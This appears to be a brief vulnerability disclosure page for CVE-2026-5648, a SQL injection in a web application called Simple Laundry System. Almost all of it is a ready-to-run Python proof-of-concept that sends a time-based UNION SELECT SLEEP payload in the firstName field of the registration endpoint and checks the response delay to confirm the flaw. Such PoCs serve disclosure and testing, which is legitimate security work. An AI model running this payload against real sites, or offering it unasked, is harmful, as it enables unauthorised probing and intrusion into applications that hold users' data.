CVE-2026-5648 Simple Laundry System SQL注入漏洞

import requests # PoC for CVE-2026-5648 Simple Laundry System SQL Injection # Target: /userfinishregister.php # Parameter: firstName target_url = "http://target-host/userfinishregister.php" # Malicious payload to test for SQL injection (Time-based) payload = "test' UNION SELECT SLEEP(5), null, null, null-- -" data = { "firstName": payload, "lastName": "test", "username": "testuser", "password": "password" } try: response = requests.post(target_url, data=data) if response.elapsed.total_seconds() > 5: print("[+] Vulnerability confirmed: Response time delayed.") else: print("[-] Target may not be vulnerable.") except Exception as e: print(f"Error connecting to target: {e}")